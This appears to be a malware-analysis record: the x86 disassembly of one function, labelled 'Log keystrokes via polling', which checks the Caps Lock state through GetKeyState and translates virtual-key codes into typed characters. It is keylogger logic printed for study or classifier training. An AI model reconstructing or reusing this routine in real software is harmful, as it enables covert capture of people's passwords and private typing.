Function at 0x422fa0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, dword [esp + 8]
xor al, al
cmp ebx, 0x20
jne 0x422fb0
mov al, bl
pop ebx
ret
lea ecx, [ebx - 0x41]
cmp ecx, 0x19
push esi
ja 0x422ff7
cmp byte [0x455388], 0x64
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
jne 0x422fd1
push 0x14
call esi
test ax, ax
je 0x422fe7
push 0x14
call esi
test ax, ax
jle 0x423060
cmp byte [0x455388], 0x64
je 0x423060
mov al, bl
cmp ebx, 0x21
jne 0x423209
pop esi
mov al, 0x39
pop ebx
ret
lea edx, [ebx - 0x60]
cmp edx, 9
ja 0x423005
mov al, bl
sub al, 0x30
jmp 0x422fe9
cmp ebx, 0x6b
je 0x423088
cmp ebx, 0x6d
je 0x42317e
cmp ebx, 0x6a
je 0x42314d
cmp ebx, 0x6f
je 0x4231f3
cmp ebx, 0x6e
je 0x4231e6
lea ecx, [ebx - 0x41]
cmp ecx, 0x19
ja 0x423066
cmp byte [0x455388], 0x64
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
jne 0x42304e
push 0x14
call esi
test ax, ax
je 0x422fe7
push 0x14
call esi
test ax, ax
jle 0x423060
cmp byte [0x455388], 0x64
jne 0x422fe7
mov al, bl
add al, 0x20
jmp 0x422fe9
cmp byte [0x455388], 0x64
jne 0x42316a
cmp ebx, 0xbd
jne 0x423080
pop esi
mov al, 0x5f
pop ebx
ret
cmp ebx, 0xbb
jne 0x42308d
pop esi
mov al, 0x2b
pop ebx
ret
cmp ebx, 0xdb
jne 0x42309a
pop esi
mov al, 0x7b
pop ebx
ret
cmp ebx, 0xdd
jne 0x4230a7
pop esi
mov al, 0x7d
pop ebx
ret
cmp ebx, 0xba
jne 0x4230b4
pop esi
mov al, 0x3a
pop ebx
ret
cmp ebx, 0xde
jne 0x4230c1
pop esi
mov al, 0x22
pop ebx
ret
cmp ebx, 0xdc
jne 0x4230ce
pop esi
mov al, 0x7c
pop ebx
ret
cmp ebx, 0xbc
jne 0x4230db
pop esi
mov al, 0x3c
pop ebx
ret
cmp ebx, 0xbe
jne 0x4230e8
pop esi
mov al, 0x3e
pop ebx
ret
cmp ebx, 0xbf
jne 0x4230f5
pop esi
mov al, 0x3f
pop ebx
ret
cmp ebx, 0xc0
jne 0x423102
pop esi
mov al, 0x7e
pop ebx
ret
cmp ebx, 0x31
jne 0x42310c
pop esi
mov al, 0x21
pop ebx
ret
cmp ebx, 0x32
jne 0x423116
pop esi
mov al, 0x40
pop ebx
ret
cmp ebx, 0x33
jne 0x423120
pop esi
mov al, 0x23
pop ebx
ret
cmp ebx, 0x34
jne 0x42312a
pop esi
mov al, 0x24
pop ebx
ret
cmp ebx, 0x35
jne 0x423134
pop esi
mov al, 0x25
pop ebx
ret
cmp ebx, 0x36
jne 0x42313e
pop esi
mov al, 0x5e
pop ebx
ret
cmp ebx, 0x37
jne 0x423148
pop esi
mov al, 0x26
pop ebx
ret
cmp ebx, 0x38
jne 0x423152
pop esi
mov al, 0x2a
pop ebx
ret
cmp ebx, 0x39
jne 0x42315c
pop esi
mov al, 0x28
pop ebx
ret
cmp ebx, 0x30
jne 0x422fe9
pop esi
mov al, 0x29
pop ebx
ret
lea edx, [ebx - 0x30]
cmp edx, 9
jbe 0x422fe7
cmp ebx, 0xbd
jne 0x423183
pop esi
mov al, 0x2d
pop ebx
ret
cmp ebx, 0xbb
jne 0x423190
pop esi
mov al, 0x3d
pop ebx
ret
cmp ebx, 0xdb
jne 0x42319d
pop esi
mov al, 0x5b
pop ebx
ret
cmp ebx, 0xdd
jne 0x4231aa
pop esi
mov al, 0x5d
pop ebx
ret
cmp ebx, 0xba
jne 0x4231b7
pop esi
mov al, 0x3b
pop ebx
ret
cmp ebx, 0xde
jne 0x4231c4
pop esi
mov al, 0x27
pop ebx
ret
cmp ebx, 0xdc
jne 0x4231d1
pop esi
mov al, 0x5c
pop ebx
ret
cmp ebx, 0xbc
jne 0x4231de
pop esi
mov al, 0x2c
pop ebx
ret
cmp ebx, 0xbe
jne 0x4231eb
pop esi
mov al, 0x2e
pop ebx
ret
cmp ebx, 0xbf
jne 0x4231f8
pop esi
mov al, 0x2f
pop ebx
ret
cmp ebx, 0xc0
jne 0x422fe9
pop esi
mov al, 0x60
pop ebx
ret
cmp ebx, 0x22
jne 0x423213
pop esi
mov al, 0x33
pop ebx
ret
cmp ebx, 0x23
jne 0x42321d
pop esi
mov al, 0x31
pop ebx
ret
cmp ebx, 0x24
jne 0x423227
pop esi
mov al, 0x37
pop ebx
ret
cmp ebx, 0x25
jne 0x423231
pop esi
mov al, 0x34
pop ebx
ret
cmp ebx, 0x26
jne 0x42323b
pop esi
mov al, 0x38
pop ebx
ret
cmp ebx, 0x27
jne 0x423245
pop esi
mov al, 0x36
pop ebx
ret
cmp ebx, 0x28
jne 0x42324f
pop esi
mov al, 0x32
pop ebx
ret
cmp ebx, 0xc
jne 0x423259
pop esi
mov al, 0x35
pop ebx
ret
cmp ebx, 0x2d
jne 0x423260
mov al, 0x30
pop esi
pop ebx
ret